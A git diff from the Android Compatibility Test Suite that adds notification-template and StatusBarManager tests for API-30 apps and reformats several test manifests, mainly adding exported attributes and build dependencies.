+ * limitations under the License.
+ */
+package android.app.notification.legacy30.cts
+
+import android.R
+import android.app.Notification
+import android.app.cts.NotificationTemplateTestBase
+import android.graphics.Bitmap
+import android.view.View
+import android.widget.ImageView
+import android.widget.TextView
+import com.google.common.truth.Truth.assertThat
+
+class NotificationTemplateApi30Test : NotificationTemplateTestBase() {
+
+    override fun setUp() {
+        assertThat(mContext.applicationInfo.targetSdkVersion).isEqualTo(30)
+    }
+
+    fun testWideIcon_inCollapsedState_isSquareForLegacyApps() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigBaseState_isSquareForLegacyApps() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigPicture_isSquareForLegacyApps() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle().bigPicture(picture))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigText_isSquareForLegacyApps() {
+        val bitmap = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(bitmap)
+                .setStyle(Notification.BigTextStyle().bigText("Big\nText\nContent"))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testPromoteBigPicture_withoutLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        // the promoted big picture is shown with enlarged aspect ratio
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        // there should be no icon in the large state
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.GONE)
+        }
+    }
+
+    fun testPromoteBigPicture_withLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(80, 65, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        // the promoted big picture is shown with enlarged aspect ratio
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        // because it doesn't target S, the icon is still shown in a square
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(80)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(65)
+        }
+    }
+
+    fun testPromoteBigPicture_withBigLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val bigIcon = Bitmap.createBitmap(80, 75, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .bigLargeIcon(bigIcon)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        // the promoted big picture is shown with enlarged aspect ratio
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        // because it doesn't target S, the icon is still shown in a square
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(80)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(75)
+        }
+    }
+
+    fun testBaseTemplate_hasExpandedStateWithoutActions() {
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .createBigContentView()
+        assertThat(views).isNotNull()
+    }
+
+    fun testDecoratedCustomViewStyle_collapsedState() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomContentView(customContent)
+                .setStyle(Notification.DecoratedCustomViewStyle())
+                .createContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>("icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testDecoratedCustomViewStyle_expandedState() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomBigContentView(customContent)
+                .setStyle(Notification.DecoratedCustomViewStyle())
+                .createBigContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the app name text shows
+            val appNameView = requireViewByIdName<TextView>("app_name_text")
+            assertThat(appNameView.visibility).isEqualTo(View.VISIBLE)
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>("icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCustomViewNotification_collapsedState_isNotDecoratedForLegacyApps() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomContentView(customContent)
+                .createContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon is not present
+            val iconView = findViewByIdName<ImageView>("icon")
+            assertThat(iconView).isNull()
+        }
+    }
+
+    fun testCustomViewNotification_expandedState_isNotDecoratedForLegacyApps() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomBigContentView(customContent)
+                .createBigContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the app name text is not present
+            val appNameView = findViewByIdName<TextView>("app_name_text")
+            assertThat(appNameView).isNull()
+
+            // check that the icon is not present
+            val iconView = findViewByIdName<ImageView>("icon")
+            assertThat(iconView).isNull()
+        }
+    }
+
+    fun testCustomViewNotification_headsUpState_isNotDecoratedForLegacyApps() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomHeadsUpContentView(customContent)
+                .createHeadsUpContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon is not present
+            val iconView = findViewByIdName<ImageView>("icon")
+            assertThat(iconView).isNull()
+        }
+    }
+
+    companion object {
+        val TAG = NotificationTemplateApi30Test::class.java.simpleName
+        const val NOTIFICATION_CHANNEL_ID = "NotificationTemplateApi30Test"
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java
new file mode 100644
index 0000000..baf9aac
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy30.cts;
+
+import static org.junit.Assume.assumeFalse;
+
+import android.app.StatusBarManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class StatusBarManagerApi30Test {
+    private StatusBarManager mStatusBarManager;
+    private Context mContext;
+
+    private boolean isWatch() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        assumeFalse("Status bar service not supported", isWatch());
+        mStatusBarManager = mContext.getSystemService(StatusBarManager.class);
+    }
+
+    @Test
+    public void testCollapsePanels_withoutStatusBarPermission_doesNotThrow() throws Exception {
+        mStatusBarManager.collapsePanels();
+
+        // Nothing thrown, passed
+    }
+}
diff --git a/tests/tests/opengl/AndroidManifest.xml b/tests/tests/opengl/AndroidManifest.xml
index 7b645aa..a7a09b7 100644
--- a/tests/tests/opengl/AndroidManifest.xml
+++ b/tests/tests/opengl/AndroidManifest.xml
@@ -13,61 +13,57 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.opengl.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.opengl.cts"
+     android:versionCode="1"
+     android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-feature android:glEsVersion="0x00020000"/>
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.opengl.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.opengl.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
-    <application
-        android:icon="@drawable/ic_launcher"
-        android:label="@string/app_name"
-        android:hardwareAccelerated="false" >
+    <application android:icon="@drawable/ic_launcher"
+         android:label="@string/app_name"
+         android:hardwareAccelerated="false">
 
-         <activity
-            android:label="@string/app_name"
-            android:name="android.opengl.cts.OpenGLES20ActivityOne">
+         <activity android:label="@string/app_name"
+              android:name="android.opengl.cts.OpenGLES20ActivityOne">
          </activity>
-          <activity
-            android:label="@string/app_name"
-            android:name="android.opengl.cts.OpenGLES20ActivityTwo">
+          <activity android:label="@string/app_name"
+               android:name="android.opengl.cts.OpenGLES20ActivityTwo">
          </activity>
-         <uses-library  android:name="android.test.runner" />
-         <activity
-            android:name="android.opengl.cts.OpenGLES20NativeActivityOne"
-            android:label="@string/app_name" />
-         <activity
-            android:name="android.opengl.cts.OpenGLES20NativeActivityTwo"
-            android:label="@string/app_name" />
+         <uses-library android:name="android.test.runner"/>
+         <activity android:name="android.opengl.cts.OpenGLES20NativeActivityOne"
+              android:label="@string/app_name"/>
+         <activity android:name="android.opengl.cts.OpenGLES20NativeActivityTwo"
+              android:label="@string/app_name"/>
 
          <activity android:name="android.opengl.cts.CompressedTextureCtsActivity"
-            android:label="CompressedTextureCtsActivity"
-            android:screenOrientation="nosensor"
-            android:hardwareAccelerated="true">
+              android:label="CompressedTextureCtsActivity"
+              android:screenOrientation="nosensor"
+              android:hardwareAccelerated="true"
+              android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.opengl.cts.EglConfigCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize|uiMode"
-            android:hardwareAccelerated="true"/>
+             android:configChanges="keyboardHidden|orientation|screenSize|uiMode"
+             android:hardwareAccelerated="true"/>
 
         <activity android:name="android.opengl.cts.GLSurfaceViewCtsActivity"
-            android:label="GLSurfaceViewCts"
-            android:hardwareAccelerated="true"/>
+             android:label="GLSurfaceViewCts"
+             android:hardwareAccelerated="true"/>
 
         <activity android:name="android.opengl.cts.OpenGlEsVersionCtsActivity"
-            android:hardwareAccelerated="true"/>
+             android:hardwareAccelerated="true"/>
 
     </application>
 
diff --git a/tests/tests/openglperf/AndroidManifest.xml b/tests/tests/openglperf/AndroidManifest.xml
index 5ccdc1e..8573455 100644
--- a/tests/tests/openglperf/AndroidManifest.xml
+++ b/tests/tests/openglperf/AndroidManifest.xml
@@ -13,42 +13,43 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.openglperf.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
 
-    <uses-feature android:glEsVersion="0x00020000" android:required="true" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.GET_TASKS" />
-    <uses-permission android:name="android.permission.REORDER_TASKS" />
-    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.openglperf.cts"
+     android:versionCode="1"
+     android:versionName="1.0">
+
+    <uses-feature android:glEsVersion="0x00020000"
+         android:required="true"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.GET_TASKS"/>
+    <uses-permission android:name="android.permission.REORDER_TASKS"/>
+    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
 
     <!-- Two activities are used -->
-    <instrumentation
-        android:targetPackage="com.replica.replicaisland"
-        android:name="androidx.test.runner.AndroidJUnitRunner" >
+    <instrumentation android:targetPackage="com.replica.replicaisland"
+         android:name="androidx.test.runner.AndroidJUnitRunner">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
-    <instrumentation
-        android:targetPackage="android.openglperf.cts"
-        android:name="androidx.test.runner.AndroidJUnitRunner">
+    <instrumentation android:targetPackage="android.openglperf.cts"
+         android:name="androidx.test.runner.AndroidJUnitRunner">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.openglperf.cts.GlPlanetsActivity"
-		  android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name="android.openglperf.cts.TextureTestActivity"
-		  android:configChanges="keyboard|keyboardHidden|orientation|screenSize" />
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"/>
     </application>
 
 </manifest>
diff --git a/tests/tests/openglperf/AndroidTest.xml b/tests/tests/openglperf/AndroidTest.xml
index 24516ef..7ce5a95 100644
--- a/tests/tests/openglperf/AndroidTest.xml
+++ b/tests/tests/openglperf/AndroidTest.xml
@@ -22,6 +22,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOpenGlPerfTestCases.apk" />
+        <option name="test-file-name" value="com.replica.replicaisland.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.openglperf.cts" />
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlAppSwitchTest.java b/tests/tests/openglperf/src/android/openglperf/cts/GlAppSwitchTest.java
index aa4ca49..d6c878f 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlAppSwitchTest.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/GlAppSwitchTest.java
@@ -69,6 +69,10 @@
         Instrumentation instrument = getInstrumentation();
         Context context = instrument.getContext();
 
+        // This is needed so that |mActivityManager.getRunningTasks(...)| is able to
+        // see tasks from |REPLICA_ISLAND_PACKAGE|.
+        instrument.getUiAutomation().adoptShellPermissionIdentity();
+
         mActivityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
 
         Intent intentPlanets = new Intent();
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index b5272b1..02c3b9e 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -27,10 +27,12 @@
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "testng",
         "truth-prebuilt",
         "guava",
         "junit",
-        "CtsMockInputMethodLib"
+        "CtsMockInputMethodLib",
+        "hamcrest-library",
     ],
     jni_uses_platform_apis: true,
     jni_libs: [
@@ -54,6 +56,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "test_current",
     libs: [
@@ -62,4 +65,5 @@
     ],
     // Do not compress minijail policy files.
     aaptflags: ["-0 .policy"],
+    min_sdk_version : "29"
 }
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 5a53fa5..fb3ad25 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -16,153 +16,177 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.cts">
+     package="android.os.cts">
 
     <permission android:name="android.os.cts.permission.TEST_GRANTED"
-        android:protectionLevel="normal"
-            android:label="@string/permlab_testGranted"
-            android:description="@string/permdesc_testGranted">
-        <meta-data android:name="android.os.cts.string" android:value="foo" />
-        <meta-data android:name="android.os.cts.boolean" android:value="true" />
-        <meta-data android:name="android.os.cts.integer" android:value="100" />
-        <meta-data android:name="android.os.cts.color" android:value="#ff000000" />
-        <meta-data android:name="android.os.cts.float" android:value="100.1" />
-        <meta-data android:name="android.os.cts.reference" android:resource="@xml/metadata" />
+         android:protectionLevel="normal"
+         android:label="@string/permlab_testGranted"
+         android:description="@string/permdesc_testGranted">
+        <meta-data android:name="android.os.cts.string"
+             android:value="foo"/>
+        <meta-data android:name="android.os.cts.boolean"
+             android:value="true"/>
+        <meta-data android:name="android.os.cts.integer"
+             android:value="100"/>
+        <meta-data android:name="android.os.cts.color"
+             android:value="#ff000000"/>
+        <meta-data android:name="android.os.cts.float"
+             android:value="100.1"/>
+        <meta-data android:name="android.os.cts.reference"
+             android:resource="@xml/metadata"/>
     </permission>
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.VIBRATE" />
-    <uses-permission android:name="android.permission.ACCESS_VIBRATOR_STATE" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.VIBRATE"/>
+    <uses-permission android:name="android.permission.ACCESS_VIBRATOR_STATE"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
     <uses-permission android:name="android.permission.READ_SMS"/>
     <uses-permission android:name="android.permission.WRITE_SMS"/>
-    <uses-permission android:name="android.permission.CALL_PHONE" />
-    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
-    <uses-permission android:name="android.permission.DEVICE_POWER" />
-    <uses-permission android:name="android.permission.POWER_SAVER" />
-    <uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM" />
-    <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES" />
+    <uses-permission android:name="android.permission.CALL_PHONE"/>
+    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
+    <uses-permission android:name="android.permission.DEVICE_POWER"/>
+    <uses-permission android:name="android.permission.POWER_SAVER"/>
+    <uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM"/>
+    <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES"/>
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-    <uses-permission android:name="android.os.cts.permission.TEST_GRANTED" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.os.cts.permission.TEST_GRANTED"/>
 
-    <application
-            android:usesCleartextTraffic="true"
-            android:requestLegacyExternalStorage="true">
+    <application android:usesCleartextTraffic="true"
+                 android:requestLegacyExternalStorage="true"
+                 android:manageSpaceActivity="android.os.cts.SimpleTestActivity">
         <activity android:name="android.os.cts.LaunchpadActivity"
-                  android:configChanges="keyboardHidden|orientation|screenSize"
-                  android:multiprocess="true">
+             android:configChanges="keyboardHidden|orientation|screenSize"
+             android:multiprocess="true">
         </activity>
 
         <activity android:name="android.os.cts.AliasActivityStub">
             <meta-data android:name="android.os.alias"
-                android:resource="@xml/alias" />
+                 android:resource="@xml/alias"/>
         </activity>
 
         <activity android:name="android.os.cts.CountDownTimerTestStub"
-            android:label="CountDownTimerTestStub">
+             android:label="CountDownTimerTestStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.os.cts.SimpleTestActivity" />
-
-        <service
-            android:name="android.os.cts.ParcelFileDescriptorPeer$Red"
-            android:process=":red"
-            android:exported="true" />
-        <service
-            android:name="android.os.cts.ParcelFileDescriptorPeer$Blue"
-            android:process=":blue"
-            android:exported="true" />
-        <service
-            android:name="android.os.cts.CrossProcessExceptionService"
-            android:process=":green"
-            android:exported="true" />
-        <service
-            android:name="android.os.cts.SharedMemoryService"
-            android:process=":sharedmem"
-            android:exported="false" />
-        <service
-            android:name="android.os.cts.ParcelExceptionService"
-            android:process=":remote"
-            android:exported="true" />
-        <service
-            android:name="android.os.cts.ParcelTest$ParcelObjectFreeService"
-            android:process=":remote"
-            android:exported="true" />
-
-        <service android:name="android.os.cts.LocalService">
+        <activity android:name="android.os.cts.SimpleTestActivity"
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.os.cts.activity.SERVICE_LOCAL" />
+                <action android:name="android.os.cts.BROWSABLE_INTENT_LAUNCH" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
             </intent-filter>
-            <meta-data android:name="android.os.cts.string" android:value="foo" />
-            <meta-data android:name="android.os.cts.boolean" android:value="true" />
-            <meta-data android:name="android.os.cts.integer" android:value="100" />
-            <meta-data android:name="android.os.cts.color" android:value="#ff000000" />
-            <meta-data android:name="android.os.cts.float" android:value="100.1" />
-            <meta-data android:name="android.os.cts.reference" android:resource="@xml/metadata" />
+        </activity>
+
+        <activity android:name="android.os.cts.IntentLaunchActivity"
+             android:exported="false" />
+
+        <service android:name="android.os.cts.ParcelFileDescriptorPeer$Red"
+             android:process=":red"
+             android:exported="true"/>
+        <service android:name="android.os.cts.ParcelFileDescriptorPeer$Blue"
+             android:process=":blue"
+             android:exported="true"/>
+        <service android:name="android.os.cts.CrossProcessExceptionService"
+             android:process=":green"
+             android:exported="true"/>
+        <service android:name="android.os.cts.SharedMemoryService"
+             android:process=":sharedmem"
+             android:exported="false"/>
+        <service android:name="android.os.cts.ParcelExceptionService"
+             android:process=":remote"
+             android:exported="true"/>
+        <service android:name="android.os.cts.ParcelTest$ParcelObjectFreeService"
+             android:process=":remote"
+             android:exported="true"/>
+
+        <service android:name="android.os.cts.LocalService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.os.cts.activity.SERVICE_LOCAL"/>
+            </intent-filter>
+            <meta-data android:name="android.os.cts.string"
+                 android:value="foo"/>
+            <meta-data android:name="android.os.cts.boolean"
+                 android:value="true"/>
+            <meta-data android:name="android.os.cts.integer"
+                 android:value="100"/>
+            <meta-data android:name="android.os.cts.color"
+                 android:value="#ff000000"/>
+            <meta-data android:name="android.os.cts.float"
+                 android:value="100.1"/>
+            <meta-data android:name="android.os.cts.reference"
+                 android:resource="@xml/metadata"/>
         </service>
 
         <service android:name="android.os.cts.LocalGrantedService"
-             android:permission="android.os.cts.permission.TEST_GRANTED">
+             android:permission="android.os.cts.permission.TEST_GRANTED"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.os.cts.activity.SERVICE_LOCAL_GRANTED" />
+                <action android:name="android.os.cts.activity.SERVICE_LOCAL_GRANTED"/>
             </intent-filter>
         </service>
 
         <service android:name="android.os.cts.LocalDeniedService"
-               android:permission="android.os.cts.permission.TEST_DENIED">
+             android:permission="android.os.cts.permission.TEST_DENIED"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.os.cts.activity.SERVICE_LOCAL_DENIED" />
+                <action android:name="android.os.cts.activity.SERVICE_LOCAL_DENIED"/>
